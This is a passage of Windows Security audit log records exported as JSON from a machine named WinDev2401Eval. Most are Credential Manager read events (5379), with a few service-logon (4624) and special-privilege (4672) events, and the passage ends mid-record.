{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:25.940193Z"}},"EventRecordID":21069,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(cert):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.100540Z"}},"EventRecordID":21070,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.116762Z"}},"EventRecordID":21071,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":1,"CountOfCredentialsReturned":1,"ReadOperation":"%%8099","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.132711Z"}},"EventRecordID":21072,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.132994Z"}},"EventRecordID":21073,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:target=virtualapp/didlogical","Type":0,"CountOfCredentialsReturned":1,"ReadOperation":"%%8100","ReturnCode":0,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.137069Z"}},"EventRecordID":21074,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:target=virtualapp/didlogical","Type":0,"CountOfCredentialsReturned":1,"ReadOperation":"%%8100","ReturnCode":0,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.137534Z"}},"EventRecordID":21075,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"WindowsLive:(token):name=02grfmhelkgyufkr;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.137642Z"}},"EventRecordID":21076,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"WindowsLive:(cert):name=02grfmhelkgyufkr;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.137672Z"}},"EventRecordID":21077,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"WindowsLive:target=virtualapp/didlogical","Type":0,"CountOfCredentialsReturned":1,"ReadOperation":"%%8100","ReturnCode":0,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.145069Z"}},"EventRecordID":21078,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.145393Z"}},"EventRecordID":21079,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.150847Z"}},"EventRecordID":21080,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.150881Z"}},"EventRecordID":21081,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.345685Z"}},"EventRecordID":21082,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.362786Z"}},"EventRecordID":21083,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":1,"CountOfCredentialsReturned":1,"ReadOperation":"%%8099","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.373585Z"}},"EventRecordID":21084,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.373847Z"}},"EventRecordID":21085,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:target=virtualapp/didlogical","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.397119Z"}},"EventRecordID":21086,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.397172Z"}},"EventRecordID":21087,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(token):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.397660Z"}},"EventRecordID":21088,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(cert):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.799772Z"}},"EventRecordID":21089,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.800091Z"}},"EventRecordID":21090,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.801040Z"}},"EventRecordID":21091,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.801074Z"}},"EventRecordID":21092,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.845394Z"}},"EventRecordID":21093,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.845399Z"}},"EventRecordID":21094,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.871917Z"}},"EventRecordID":21095,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi 